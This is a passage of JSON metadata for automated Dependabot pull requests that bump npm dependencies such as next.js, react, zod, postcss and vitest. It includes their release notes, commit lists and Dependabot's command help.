dynamic-import chunk-list collisions (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100211\"\u003e#100211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6a79d8aa8a0892435eacf0273f2e683ecff046d8\"\u003e\u003ccode\u003e6a79d8a\u003c/code\u003e\u003c/a\u003e [lts-active] Backport docs fixes since v16.4.0 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/100246\"\u003e#100246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/a75a78275811867edf576f6cbea12217de9bb57d\"\u003e\u003ccode\u003ea75a782\u003c/code\u003e\u003c/a\u003e [lts-active] Keep requests through middleware in a single OpenTelemetry trace...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/8ad85240ecb590f0a6eda249d5a0fda6b7ee29c8\"\u003e\u003ccode\u003e8ad8524\u003c/code\u003e\u003c/a\u003e [lts-active] Turbopack: Ignore realpath errors during module resolution, matc...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/29d030e8e7b17c0c11a6a066e9465a7bcddad5d8\"\u003e\u003ccode\u003e29d030e\u003c/code\u003e\u003c/a\u003e [lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependenc...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/3e50b8225c9a26ac0f47417480c3b9d214d3f459\"\u003e\u003ccode\u003e3e50b82\u003c/code\u003e\u003c/a\u003e [lts-active] fix(next-code-frame): snap visible window to char boundaries (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9458fb99cd4b4eaf2962a07190b5f948a320fc26\"\u003e\u003ccode\u003e9458fb9\u003c/code\u003e\u003c/a\u003e [lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/988\"\u003e#988\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.0...v16.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `zod` from 4.6.5 to 4.6.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/colinhacks/zod/releases\"\u003ezod's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.6.7\u003c/h2\u003e\n\u003ch2\u003eCommits:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eb500a2ee95134f81d74da7911d7378dd2853d042 4.6.7\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.6\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSix malicious commits pushed to \u003ccode\u003emain\u003c/code\u003e on September 21 with a compromised git credential were reverted the same day in \u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6620\"\u003e#6620\u003c/a\u003e and have since been removed from the history of \u003ccode\u003emain\u003c/code\u003e. None were ever published to npm. The npm provenance for 4.6.6 names 284243fb, the pre-rewrite copy of 9c219833 with identical contents.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003eCommits:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e0cd3af5e9f50ad11bbcd4407a46a21b8848ba574 docs: load the en locale directly in Zod Mini\u003c/li\u003e\n\u003cli\u003e9d5e60f162997b764b40d45aa02481888db50dea docs: import locales from zod/locales, not z.locales\u003c/li\u003e\n\u003cli\u003e34a626f307871ecbb0123947559328dc52ed5e3e docs: tighten the z.locales tree-shaking note\u003c/li\u003e\n\u003cli\u003e74304ce5b5796b5edb9a88ceb8e170b6ea3e82df release: stage npm versions instead of publishing them (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eb2ef983e0711ff6517d6020b021071e2e5653efa docs: add Code for Japan to bronze sponsors\u003c/li\u003e\n\u003cli\u003e8fb2faf0584828a6a027d8279db36f6f52784462 docs: crop the Code for Japan logo and list it first in bronze\u003c/li\u003e\n\u003cli\u003ebacad518c41610d654658172d325874bf0ee6290 docs: square the Code for Japan logo to match the other bronze tiles\u003c/li\u003e\n\u003cli\u003ec42596bd1c87e941d7241d10e012c5c196adcc10 release: hold the run on the release-approval environment until the staged versions are approved (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6638\"\u003e#6638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea2ba4a67986a3e6b2b131be30084a2f460d9ea67 fix(types): declare record output and input as members, not base type arguments (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6645\"\u003e#6645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea0ebf970f2d752e5f58527cd2942ff48be4f46bd fix(v4): check array, set and map size bounds before parsing elements (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6652\"\u003e#6652\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e529f78dd9431b07f49647fee3aa0819b3f8b66b7 4.6.6\u003c/li\u003e\n\u003cli\u003e9c219833c3a3764fa1f1ea9c5ecec8254a63c0b1 ci: stage at verbose so a failed OIDC token exchange says why\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/b500a2ee95134f81d74da7911d7378dd2853d042\"\u003e\u003ccode\u003eb500a2e\u003c/code\u003e\u003c/a\u003e 4.6.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/9c219833c3a3764fa1f1ea9c5ecec8254a63c0b1\"\u003e\u003ccode\u003e9c21983\u003c/code\u003e\u003c/a\u003e ci: stage at verbose so a failed OIDC token exchange says why\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/529f78dd9431b07f49647fee3aa0819b3f8b66b7\"\u003e\u003ccode\u003e529f78d\u003c/code\u003e\u003c/a\u003e 4.6.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/a0ebf970f2d752e5f58527cd2942ff48be4f46bd\"\u003e\u003ccode\u003ea0ebf97\u003c/code\u003e\u003c/a\u003e fix(v4): check array, set and map size bounds before parsing elements (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6652\"\u003e#6652\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/a2ba4a67986a3e6b2b131be30084a2f460d9ea67\"\u003e\u003ccode\u003ea2ba4a6\u003c/code\u003e\u003c/a\u003e fix(types): declare record output and input as members, not base type argumen...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/c42596bd1c87e941d7241d10e012c5c196adcc10\"\u003e\u003ccode\u003ec42596b\u003c/code\u003e\u003c/a\u003e release: hold the run on the release-approval environment until the staged ve...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/bacad518c41610d654658172d325874bf0ee6290\"\u003e\u003ccode\u003ebacad51\u003c/code\u003e\u003c/a\u003e docs: square the Code for Japan logo to match the other bronze tiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/8fb2faf0584828a6a027d8279db36f6f52784462\"\u003e\u003ccode\u003e8fb2faf\u003c/code\u003e\u003c/a\u003e docs: crop the Code for Japan logo and list it first in bronze\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/b2ef983e0711ff6517d6020b021071e2e5653efa\"\u003e\u003ccode\u003eb2ef983\u003c/code\u003e\u003c/a\u003e docs: add Code for Japan to bronze sponsors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/colinhacks/zod/commit/74304ce5b5796b5edb9a88ceb8e170b6ea3e82df\"\u003e\u003ccode\u003e74304ce\u003c/code\u003e\u003c/a\u003e release: stage npm versions instead of publishing them (\u003ca href=\"https://redirect.github.com/colinhacks/zod/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/colinhacks/zod/compare/v4.6.5...v4.6.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.29 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.30\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix broken map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/Rufflet\"\u003e\u003ccode\u003e@​Rufflet\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1908579d6af4155ee5f759030184fb4c2b575ec\"\u003e\u003ccode\u003ed190857\u003c/code\u003e\u003c/a\u003e Release 8.5.31 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4ef6d8cc0307df09c21a63b5521285657966ece3\"\u003e\u003ccode\u003e4ef6d8c\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6abd674231f7867d1c37e6b71bc8d6e00165fd27\"\u003e\u003ccode\u003e6abd674\u003c/code\u003e\u003c/a\u003e Call the builder with every node when the output is escaped (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2175\"\u003e#2175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f1aca7ec68ab0cfb96cc9e69520a87f641c5a9e4\"\u003e\u003ccode\u003ef1aca7e\u003c/code\u003e\u003c/a\u003e Release 8.5.30 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9d8344589299ca90f4ec0a4fab899e357995eaad\"\u003e\u003ccode\u003e9d83445\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6c9bc73d9d2ad2c9c8e998ace707ebe067bc8425\"\u003e\u003ccode\u003e6c9bc73\u003c/code\u003e\u003c/a\u003e Fix invalid source map mapping on escaping before new line (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2169\"\u003e#2169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1fd8f881875330b284d65961c2c158f61d4e3bab\"\u003e\u003ccode\u003e1fd8f88\u003c/code\u003e\u003c/a\u003e Add missed changes in changelog\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.29...8.5.31\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5bf2197a185429a99a59efdb4192f9b5be1309fb\"\u003e\u003ccode\u003e5bf2197\u003c/code\u003e\u003c/a\u003e chore: delete wdio folder from v4 branch to avoid falsy release (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11581\"\u003e#11581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Rllyyy/portfolio/pull/200","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rllyyy%2Fportfolio/issues/200","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/200/packages"}],"issue_packages":[{"old_version":"5.0.1","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-24T15:39:01.000Z","version_change":"5.0.1 → 5.0.5","issue":{"uuid":"6014637169","node_id":"PR_kwDOTWq-ec8AAAABKdRn7w","number":360,"state":"open","title":"chore(deps): bump the web-deps-minor group across 1 directory with 38 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T15:39:01.000Z","updated_at":"2026-10-24T15:39:34.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"web-deps-minor","update_count":38,"packages":[{"name":"@base-ui/react","old_version":"1.8.0","new_version":"1.9.0","repository_url":"https://github.com/mui/base-ui"},{"name":"@lingui/core","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/react","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@tanstack/react-query","old_version":"5.104.0","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-router","old_version":"1.170.40","new_version":"1.170.45","repository_url":"https://github.com/TanStack/router"},{"name":"@tanstack/react-table","old_version":"9.2.4","new_version":"9.3.1","repository_url":"https://github.com/TanStack/table"},{"name":"@tanstack/react-virtual","old_version":"3.14.13","new_version":"3.14.21","repository_url":"https://github.com/TanStack/virtual"},{"name":"@tiptap/extension-image","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-link","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-placeholder","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-task-item","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-task-list","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/extension-underline","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/pm","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/react","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"@tiptap/starter-kit","old_version":"3.31.4","new_version":"3.32.0","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"lucide-react","old_version":"1.49.0","new_version":"1.61.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"shadcn","old_version":"4.21.0","new_version":"4.22.1","repository_url":"https://github.com/shadcn-ui/ui"},{"name":"zod","old_version":"4.6.5","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"},{"name":"@babel/core","old_version":"8.0.6","new_version":"8.0.7","repository_url":"https://github.com/babel/babel"},{"name":"@lingui/babel-plugin-lingui-macro","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/cli","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@lingui/vite-plugin","old_version":"6.8.0","new_version":"6.10.0","repository_url":"https://github.com/lingui/js-lingui"},{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@serwist/vite","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"@serwist/window","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"@tanstack/react-query-devtools","old_version":"5.104.0","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/router-plugin","old_version":"1.168.41","new_version":"1.168.47","repository_url":"https://github.com/TanStack/router"},{"name":"@testing-library/user-event","old_version":"14.6.7","new_version":"14.6.8","repository_url":"https://github.com/testing-library/user-event"},{"name":"@types/node","old_version":"25.9.8","new_version":"25.9.9","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitejs/plugin-react","old_version":"6.1.1","new_version":"6.1.2","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"serwist","old_version":"9.5.12","new_version":"9.5.13","repository_url":"https://github.com/serwist/serwist"},{"name":"wrangler","old_version":"4.145.0","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"},{"name":"vite-plus","old_version":"1.0.0","new_version":"1.3.0","repository_url":"https://github.com/voidzero-dev/vite-plus"},{"name":"vitest","old_version":"5.0.1","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the web-deps-minor group with 38 updates in the /web directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@base-ui/react](https://github.com/mui/base-ui/tree/HEAD/packages/react) | `1.8.0` | `1.9.0` |\n| [@lingui/core](https://github.com/lingui/js-lingui/tree/HEAD/packages/core) | `6.8.0` | `6.10.0` |\n| [@lingui/react](https://github.com/lingui/js-lingui/tree/HEAD/packages/react) | `6.8.0` | `6.10.0` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.104.0` | `5.104.5` |\n| [@tanstack/react-router](https://github.com/TanStack/router/tree/HEAD/packages/react-router) | `1.170.40` | `1.170.45` |\n| [@tanstack/react-table](https://github.com/TanStack/table/tree/HEAD/packages/react-table) | `9.2.4` | `9.3.1` |\n| [@tanstack/react-virtual](https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual) | `3.14.13` | `3.14.21` |\n| [@tiptap/extension-image](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-image) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-placeholder](https://github.com/ueberdosis/tiptap/tree/HEAD/packages-deprecated/extension-placeholder) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-task-item](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-task-item) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-task-list](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-task-list) | `3.31.4` | `3.32.0` |\n| [@tiptap/extension-underline](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-underline) | `3.31.4` | `3.32.0` |\n| [@tiptap/pm](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/pm) | `3.31.4` | `3.32.0` |\n| [@tiptap/react](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/react) | `3.31.4` | `3.32.0` |\n| [@tiptap/starter-kit](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/starter-kit) | `3.31.4` | `3.32.0` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.49.0` | `1.61.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [shadcn](https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn) | `4.21.0` | `4.22.1` |\n| [zod](https://github.com/colinhacks/zod) | `4.6.5` | `4.6.7` |\n| [@babel/core](https://github.com/babel/babel/tree/HEAD/packages/babel-core) | `8.0.6` | `8.0.7` |\n| [@lingui/babel-plugin-lingui-macro](https://github.com/lingui/js-lingui/tree/HEAD/packages/babel-plugin-lingui-macro) | `6.8.0` | `6.10.0` |\n| [@lingui/cli](https://github.com/lingui/js-lingui/tree/HEAD/packages/cli) | `6.8.0` | `6.10.0` |\n| [@lingui/vite-plugin](https://github.com/lingui/js-lingui/tree/HEAD/packages/vite-plugin) | `6.8.0` | `6.10.0` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@serwist/vite](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [@serwist/window](https://github.com/serwist/serwist) | `9.5.12` | `9.5.13` |\n| [@tanstack/react-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools) | `5.104.0` | `5.104.5` |\n| [@tanstack/router-plugin](https://github.com/TanStack/router/tree/HEAD/packages/router-plugin) | `1.168.41` 